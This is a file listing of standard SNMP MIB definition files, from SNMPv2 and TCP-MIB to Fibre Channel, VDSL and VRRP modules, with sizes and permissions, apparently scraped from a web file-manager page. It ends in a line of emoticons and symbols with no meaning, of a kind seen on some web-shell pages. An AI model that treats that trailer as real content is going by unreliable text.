SNMP-USM-DH-OBJECTS-MIB File 20.61 KB 0644
SNMP-VIEW-BASED-ACM-MIB File 33.4 KB 0644
SNMPv2-CONF File 8.07 KB 0644
SNMPv2-MIB File 28.67 KB 0644
SNMPv2-SMI File 8.72 KB 0644
SNMPv2-TC File 37.16 KB 0644
SNMPv2-TM File 5.66 KB 0644
SNMPv2-USEC-MIB File 7.73 KB 0644
SONET-MIB File 73.4 KB 0644
SOURCE-ROUTING-MIB File 14.33 KB 0644
SSPM-MIB File 33.61 KB 0644
SYSAPPL-MIB File 63.05 KB 0644
T11-FC-FABRIC-ADDR-MGR-MIB File 45.88 KB 0644
T11-FC-FABRIC-CONFIG-SERVER-MIB File 62.45 KB 0644
T11-FC-FABRIC-LOCK-MIB File 20.61 KB 0644
T11-FC-FSPF-MIB File 39.98 KB 0644
T11-FC-NAME-SERVER-MIB File 41.27 KB 0644
T11-FC-ROUTE-MIB File 15.91 KB 0644
T11-FC-RSCN-MIB File 27.23 KB 0644
T11-FC-VIRTUAL-FABRIC-MIB File 17.18 KB 0644
T11-FC-ZONE-SERVER-MIB File 96.29 KB 0644
T11-TC-MIB File 2.48 KB 0644
TCP-ESTATS-MIB File 102.9 KB 0644
TCP-MIB File 27.94 KB 0644
TCPIPX-MIB File 10.72 KB 0644
TE-LINK-STD-MIB File 59.46 KB 0644
TE-MIB File 58.79 KB 0644
TIME-AGGREGATE-MIB File 12.95 KB 0644
TN3270E-MIB File 69.46 KB 0644
TN3270E-RT-MIB File 31.65 KB 0644
TOKEN-RING-RMON-MIB File 77.31 KB 0644
TOKENRING-MIB File 27.34 KB 0644
TOKENRING-STATION-SR-MIB File 5.49 KB 0644
TRANSPORT-ADDRESS-MIB File 16.06 KB 0644
TRIP-MIB File 70.05 KB 0644
TRIP-TC-MIB File 4.01 KB 0644
TUNNEL-MIB File 27.21 KB 0644
UDP-MIB File 20.42 KB 0644
UDPLITE-MIB File 20.53 KB 0644
UPS-MIB File 63.46 KB 0644
URI-TC-MIB File 5.76 KB 0644
VDSL-LINE-EXT-MCM-MIB File 24.24 KB 0644
VDSL-LINE-EXT-SCM-MIB File 14.59 KB 0644
VDSL-LINE-MIB File 96.79 KB 0644
VPN-TC-STD-MIB File 2.31 KB 0644
VRRP-MIB File 26.07 KB 0644
WWW-MIB File 40.76 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1